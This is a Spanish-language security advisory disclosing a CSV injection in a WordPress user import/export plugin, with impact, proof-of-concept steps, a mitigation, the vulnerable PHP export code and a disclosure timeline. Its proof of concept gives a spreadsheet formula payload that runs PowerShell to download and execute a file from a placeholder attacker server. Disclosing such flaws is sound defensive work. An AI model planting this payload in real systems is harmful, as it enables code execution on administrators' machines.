CVE-2019-15092 WordPress Plugin Import Export Users = 1.3.0 - CSV Injection

CVE-2019-15092 WordPress Plugin Import Export Users = 1.3.0 - CSV Injection

Impacto

Un usuario malicioso con permisos básicos de WordPress (suscriptor) podría ejecutar comandos en el equipo del administrador a través de inyecciones CSV en los campos display_namefirst_name y last_name.

CVSS v3.1 Vector

AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CVE-2019-15092 WordPress Plugin Import Export Users = 1.3.0 - CSV Injection

CVE-2019-15092 WordPress Plugin Import Export Users = 1.3.0 - CSV Injection

Calculadora de puntuación de vulnerabiliad común del NIST

Prueba de concepto (PoC)

  1. Iniciar sesión con cualquier usuario (suscriptor) y cambiar los campos nombreapellido y alias por el payload 💉=cmd|'/C powershell IEX(wget [SERVIDOR-ATACANTE]/shell.exe)'!A0 (Este payload ejecuta PowerShell en la máquina del administrador para descargar y ejecutar un archivo desde un servidor malicioso).

CVE-2019-15092 WordPress Plugin Import Export Users = 1.3.0 - CSV Injection

Modificación de campos en el panel de usuario de WordPress

  1. Iniciar sesión con usuario administrador y exportar los usuarios mediante el uso del plugin.

  2. Abrir el archivo generado por el plugin, puede observarse el payload insertado en el paso 1.

CVE-2019-15092 WordPress Plugin Import Export Users = 1.3.0 - CSV Injection

Archivo CSV generado por el plugin

Mitigación

En el momento de generar el archivo CSV, verificar que ningún campo comience con los siguientes caracteres:

  • Igual (=)
  • Mas (+)
  • Menos (-)
  • Arroba (@)

Código vulnerable

La función do_export() de la clase WF_CustomerImpExpCsv_Exporter no comprueba si el primer carácter de los campos coincide con (=, +, -, @)

public static function do_export() {
    global $wpdb;
 
    $export_limit = !empty($_POST['limit']) ? intval($_POST['limit']) : 999999999;
    $export_offset = !empty($_POST['offset']) ? intval($_POST['offset']) : 0;
    $csv_columns = include( 'data/data-wf-post-columns.php' );
    $user_columns_name = !empty($_POST['columns_name']) ? $_POST['columns_name'] : $csv_columns;
    $export_columns = !empty($_POST['columns']) ? $_POST['columns'] : array();
    $export_user_roles = !empty($_POST['user_roles']) ? $_POST['user_roles'] : array();
    $delimiter = !empty($_POST['delimiter']) ? $_POST['delimiter'] : ',';
 
    $wpdb->hide_errors();
    @set_time_limit(0);
    if (function_exists('apache_setenv'))
        @apache_setenv('no-gzip', 1);
    @ini_set('zlib.output_compression', 0);
    @ob_end_clean();
 
    header('Content-Type: text/csv; charset=UTF-8');
    header('Content-Disposition: attachment; filename=Customer-Export-' . date('Y_m_d_H_i_s', current_time('timestamp')) . ".csv");
    header('Pragma: no-cache');
    header('Expires: 0');
 
    $fp = fopen('php://output', 'w');
 
    $args = array(
        'fields' => 'ID', // exclude standard wp_users fields from get_users query -> get Only ID##
        'role__in' => $export_user_roles, //An array of role names. Matched users must have at least one of these roles. Default empty array.
        'number' => $export_limit, // number of users to retrieve
        'offset' => $export_offset // offset to skip from list
    );
     
    $users = get_users($args);
 
    // Variable to hold the CSV data we're exporting
    $row = array();
 
    // Export header rows
    foreach ($csv_columns as $column => $value) {
        $temp_head = esc_attr($user_columns_name[$column]);
        if (!$export_columns || in_array($column, $export_columns))
            $row[] = $temp_head;
    }
 
    $row = array_map('WF_CustomerImpExpCsv_Exporter::wrap_column', $row);
    fwrite($fp, implode($delimiter, $row) . "\n");
    unset($row);
 
    ini_set('max_execution_time', -1);
    ini_set('memory_limit', -1);
    // Loop users
    foreach ($users as $user) {
        //$row = array();   
        $data = WF_CustomerImpExpCsv_Exporter::get_customers_csv_row($user, $export_columns, $csv_columns);
        $row = array_map('WF_CustomerImpExpCsv_Exporter::wrap_column', $data);
        fwrite($fp, implode($delimiter, $row) . "\n");
        unset($row);
        unset($data);
    }
 
    fclose($fp);
    exit;
}

TIME LINE

  • 15, agosto 2019 – 👨‍💻 Descubierta
  • 15, agosto 2019 – 👨‍💻 Reportado al soporte de Webtoffee
  • 16, agosto 2019 – 👨‍💼 Solicitud de más información
  • 16, agosto 2019 – 👨‍💻 Reporte detallado de vulnerabilidad
  • 19, agosto 2019 – 👨‍💼 No reconocida la vulnerabilidad
  • 22, agosto 2019 – 👨‍💻 Divulgación pública